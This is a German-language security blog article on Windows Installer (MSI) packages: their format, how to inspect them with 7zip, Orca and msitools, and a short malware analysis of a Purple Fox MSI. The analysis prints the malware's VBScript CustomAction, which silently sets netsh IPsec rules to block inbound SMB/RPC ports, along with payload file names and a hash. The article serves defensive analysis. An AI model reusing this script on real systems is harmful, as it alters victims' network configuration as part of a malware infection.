Windows Installer Security - Eine Betrachtung von MSI Dateien

Windows Installer Security

Eine Betrachtung von MSI Dateien

Tomaso Vasella
von Tomaso Vasella
am 03. November 2022
Lesezeit: 14 Minuten

Keypoints

So analysieren Sie MSI-Dateien

  • Windows Installer ist der de Facto Standard für Softwareinstallationen unter Windows
  • MSI Dateien enthalten sämtliche Informationen und Nutzdaten für eine Installation
  • In den CustomActions kann ausführbarer Code enthalten sein
  • der Windows Installer Service wird mit den höchsten lokalen Systemrechten ausgeführt
  • MSI Pakete werden häufig zur Verteilung von Malware missbraucht

Die Installation und Deinstallation von Software erfolgt üblicherweise mit Hilfe eines entsprechenden Installationsprogramms. Dieses sorgt dafür, dass Produkte und Applikationen gemäss den Gegebenheiten und Anforderungen des jeweiligen Betriebssystems installiert und konfiguriert werden. Neben dem Kopieren der Software-Bestandteile wie ausführbare Dateien, Bibliotheken und Konfigurationsdateien auf den Datenträger nimmt ein Installationsprogramm häufig weitere Tasks vor, beispielsweise Hinzufügen von Registry-Einträgen, Erstellen von Shortcuts, Assoziation von Dateierweiterungen usw.

Der Windows Installer, auch bekannt als Microsoft Installer oder MSI, ist ein in Windows integrierter Installations- und Konfigurationsdienst für Softwarepakete. Der Windows Installer ist weitverbreitet und entsprechende Installationspakete werden häufig in Organisationen zur Softwareverteilung und -Verwaltung eingesetzt. Im 2018 hat Microsoft MSIX als ein neues universelles Paketformat für alle Windows Plattformen angekündet. Vielleicht wird MSIX irgendwann MSI ablösen, wobei aktuell MSI gut etabliert ist und dies auf absehbare Zeit auch bleiben wird.

Installationspakete

Der Windows Installer verwendet Installationspakete, welche als Dateien mit der Dateierweiterung “.msi” vorliegen. MSI Installationspakete enthalten sämtliche Informationen und Inhalte, die zur Installation eines Softwarepakets und zur Benutzerführung (Setup-GUI) während dem Installationsvorgang erforderlich sind. Die folgende Tabelle zeigt die gebräuchlichen Dateierweiterungen:

ErweiterungBeschreibung
.msiWindows Installer Database
.msmWindows Installer Merge Module
.mspWindows Installer Patch
.mstWindows Installer Transform
.idtExported Windows Installer Database Table
.cubValidation module
.pcpWindows Installer Patch Creation File

MSI Pakete können mit Hilfe von Tools aus dem Windows SDK oder mit Drittanwendungen erstellt werden.

Installationsvorgang

Das Ausführen der Installationspakete und die Installation der Komponenten wird durch das Programm “msiexec.exe” gesteuert.

Windows Installer Optionen

Es verfügt über umfangreiche Optionen und arbeitet mit einem Windows Systemdienst (Service) zusammen, welcher mit hohen lokalen Berechtigungen ausgeführt wird.

Windows Installer Systemdienst

Das Verhalten des Windows Installers kann durch Gruppenrichtlinien auf Ebene Benutzer und Maschine beeinflusst werden.

MSI Dateiformat

MSI Dateien sind relationale SQL-Datenbanken, die als komprimierte “COM Structured Storage” Datei vorliegen. COM Structured Storage ist ein verbreitetes Format und wird z.B. für ältere Office-Dokumente verwendet. Es erlaubt die Speicherung von unterschiedlichen Objekten in einer einzigen Datei und ist somit ein Dateisystem in einer Datei. Das MSI Dateiformat selbst ist nicht öffentlich dokumentiert, aber das entsprechende API und die verschiedenen Datenbanktabellen sind beschrieben.

Analyse von MSI Dateien

Zur Analyse von MSI Dateien stehen verschiedene Tools zur Verfügung. Für einen einfachen ersten Eindruck können die Inhalte mit 7zip extrahiert werden. Im folgenden Beispiel wird das MSI von Mozilla Firefox verwendet.

$ 7z x Firefox\ Setup\ 106.0.2.msi
$ ls
'[5]DigitalSignature'    '!AdminUISequence'       Binary.WrappedExe  '!CreateFolder'  '!Feature'                 '!InstallUISequence'   setup.cab      '!_Tables'
'[5]SummaryInformation'  '!AdvtExecuteSequence'  '!_Columns'         '!CustomAction'  '!FeatureComponents'       '!Media'              '!_StringData'  '!_Validation'
'!AdminExecuteSequence'  '!Binary'               '!Component'        '!Directory'     '!InstallExecuteSequence'  '!Property'           '!_StringPool'

Für erweiterte Analysen bietet sich das Tool Orca an, welches als Bestandteil des Windows SDK frei verfügbar ist.

Windows SDK Installation

Die Installation dieses Tools ist etwas umständlich. Nachdem die MSI Komponenten des Windows SDK installiert sind, befindet sich das Orca-Installationspaket als MSI Datei im Verzeichnis C:\Program Files (x86)\Windows Kits\10\bin\10.0.22621.0\x86\Orca-x86_en-us.msi. Orca zeigt nach dem Öffnen eines MSI die enthaltenen Tabellen und die entsprechenden Daten an.

MSI Inhalte in Orca

Ähnliche Informationen lassen sich auch mit den Open Source Werkzeugen msitools extrahieren.

$ msidump -s -t Firefox\ Setup\ 106.0.2.msi
$ ls
AdminExecuteSequence.idt  AdvtExecuteSequence.idt  Binary.idt     CreateFolder.idt  Directory.idt          Feature.idt  _ForceCodepage.idt          InstallUISequence.idt  Property.idt  _SummaryInformation.idt
AdminUISequence.idt       Binary                   Component.idt  CustomAction.idt  FeatureComponents.idt  File.idt     InstallExecuteSequence.idt  Media.idt              _Streams      _Validation.idt

Die *.idt Dateien entsprechen den obigen Tabellen und beinhalten dieselben Informationen:

$ cat Property.idt

Property    Value
s72 l0
Property    Property
ALLUSERS    1
INSTALL_DIRECTORY_PATH  __DEFAULT__
INSTALL_DIRECTORY_NAME  __DEFAULT__
TASKBAR_SHORTCUT    true
DESKTOP_SHORTCUT    true
START_MENU_SHORTCUT true
INSTALL_MAINTENANCE_SERVICE true
REMOVE_DISTRIBUTION_DIR true
PREVENT_REBOOT_REQUIRED false
OPTIONAL_EXTENSIONS true
REGISTER_DEFAULT_AGENT  true
EXTRACT_DIR __DEFAULT__
Manufacturer    Mozilla
ProductCode {1294A4C5-9977-480F-9497-C0EA1E630130}
ProductLanguage 0
ProductName Mozilla Firefox 106.0.2 x64 en-US
ProductVersion  106.0.2.0
UpgradeCode {3118AB4C-B433-4FBB-B9FA-8F9CA4B5C103}

Aufgrund der vielfältigen Möglichkeiten, mittels MSI Dateien Aktionen auszuführen und weil diese Aktionen zumindest teilweise mit erhöhten lokalen Rechten ausgeführt werden, gibt es eine grosse Anzahl von Malware, die diese Methoden zur Installation verwendet. In Red Team Assessments gelingt es manchmal, die Installationsroutinen zum Erlangen erhöhter lokaler Rechte zu benutzen.

In beiden Fällen ist es interessant, die Tabelle CustomAction etwas genauer zu betrachten. Wie der Name bereits suggeriert enthält sie Aktionen, die während der Installation ausgeführt werden, beispielsweise mittels JScript oder VBScript und wird häufig von in MSI Dateien versteckter Malware missbraucht, wie wir weiter unten sehen werden. Aber auch in legitimen Installationspaketen sind hier oft Befehle enthalten.

Anzeige der CustomActions in Orca

In den Ordnern Binary und _Streams extrahiert msidump binäre Dateien und Executables:

$ ls _Streams/
Binary.WrappedExe  DigitalSignature   setup.cab  SummaryInformation

Schaut man sich alle diese Informationen genauer an, gewinnt man schon eine gute Vorstellung davon, was während der Installation abläuft. In einem Assessment wurde beispielsweise festgestellt, dass während der Installation Batch-Dateien temporär im Dateisystem abgelegt und ausgeführt wurden. Durch Editieren dieser Batch-Dateien konnte sehr einfach eine lokale Rechteerweiterung zu SYSTEM erreicht werden.

Malware in MSI Dateien

Schädlicher Code wird häufig über MSI Dateien eingefangen. Das folgende Beispiel zeigt eine einfache Betrachtung anhand der Malware Purple Fox.

Die Tabelle CustomAction zeigt bereits erste potentiell verdächtige Indikatoren:

$ cat CustomAction.idt

...
ExecuteScriptCode   3174        On Error Resume Next
Set vbs=CreateObject("Wscript.Shell")
vbs.Run "netsh interface ipv6 install",0,True
vbs.Run "netsh ipsec static add policy name=qianye",0,True
vbs.Run "netsh ipsec static add filterlist name=Filter1",0,True
vbs.Run "netsh ipsec static add filter filterlist=Filter1 srcaddr=any dstaddr=Me dstport=445 protocol=TCP",0,True
vbs.Run "netsh ipsec static add filter filterlist=Filter1 srcaddr=any dstaddr=Me dstport=135 protocol=TCP",0,True
vbs.Run "netsh ipsec static add filter filterlist=Filter1 srcaddr=any dstaddr=Me dstport=139 protocol=TCP",0,True
vbs.Run "netsh ipsec static add filter filterlist=Filter1 srcaddr=any dstaddr=Me dstport=445 protocol=UDP",0,True
vbs.Run "netsh ipsec static add filter filterlist=Filter1 srcaddr=any dstaddr=Me dstport=135 protocol=UDP",0,True
vbs.Run "netsh ipsec static add filter filterlist=Filter1 srcaddr=any dstaddr=Me dstport=139 protocol=UDP",0,True
vbs.Run "netsh ipsec static add filteraction name=FilteraAtion1 action=block",0,True
vbs.Run "netsh ipsec static add rule name=Rule1 policy=qianye filterlist=Filter1 filteraction=FilteraAtion1",0,True
vbs.Run "netsh ipsec static set policy name=qianye assign=y",0,True
...

Im Verzeichnis _Streams befindet sich eine Datei disk1.cab, welche mit 7z entpackt werden kann:

$ 7z x disk1.cab
$ ls
sysupdate.log  winupdate32.log  winupdate64.log

$ file *
sysupdate.log:   MGR bitmap, modern format, squeezed
winupdate32.log: PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
winupdate64.log: PE32+ executable (DLL) (GUI) x86-64, for MS Windows

$ sha256sum winupdate32.log
937e0068356e42654c9ab76cc34cf74dfa4c17b29e9439ebaa15d587757b14b0  winupdate32.log

Eine kurze Abfrage bei VirusTotal nach dem Hash-Wert legt nahe, dass es sich um bekannte Malware handelt.

Anfrage bei Virustotal

Es gibt viele weitere Möglichkeiten, wie Malware in MSI Dateien gepackt und verbreitet werden kann. MITRE ATT&CK publiziert einen Überblick über entsprechende Methoden mit der Technik System Binary Proxy Execution

Zusammenfassung

Windows Installer ist ein integraler Bestandteil von Windows und ist als Standardmethode zur Verwaltung von Softwareprodukten in vielen Organisationen weit verbreitet. Eine MSI Installationsdatei beinhaltet häufig ausführbaren Code oder Skripts, wobei das genaue MSI Dateiformat nicht öffentlich dokumentiert ist. Diese CustomActions werden häufig im legitimen Installationsprozesse verwendet, bieten aber auch Übeltätern eine Gelegenheit, auf mehr oder weniger versteckte Weise Schadsoftware zu verteilen. Weil Teile des Installationsprozesses mit den höchsten lokalen Windows-Rechten ausgeführt werden, sind Angriffe über den Softwareinstallationsprozess ein attraktives Ziel. Schützen kann man sich dagegen mit bekannten Methoden, wobei das Prinzip, keine Software aus nicht vertrauenswürdigen Quellen zu installieren und stets aktuelle Versionen zu verwenden an erster Stelle stehen sollte.

Über den Autor

Tomaso Vasella

Tomaso Vasella hat seinen Master in Organic Chemistry an der ETH Zürich abgeschlossen und ist seit 1999 im Bereich Cybersecurity aktiv. Positionen als Berater, Engineer, Auditor und Business Developer zählen zu seinen Erfahrungen. (ORCID 0000-0002-0216-1268)

Links

Sie wollen die Sicherheit Ihrer Firewall prüfen?

Unsere Spezialisten kontaktieren Sie gern!

×
Security Testing

Security Testing

Tomaso Vasella

Das neue NIST Cybersecurity Framework

Das neue NIST Cybersecurity Framework

Tomaso Vasella

Flipper Zero WiFi Devboard

Flipper Zero WiFi Devboard

Tomaso Vasella

Denial of Service Angriffe

Denial of Service Angriffe

Tomaso Vasella

Sie wollen mehr?

Weitere Artikel im Archiv

Sie brauchen Unterstützung bei einem solchen Projekt?

Unsere Spezialisten kontaktieren Sie gern!

Sie wollen mehr?

Weitere Artikel im Archiv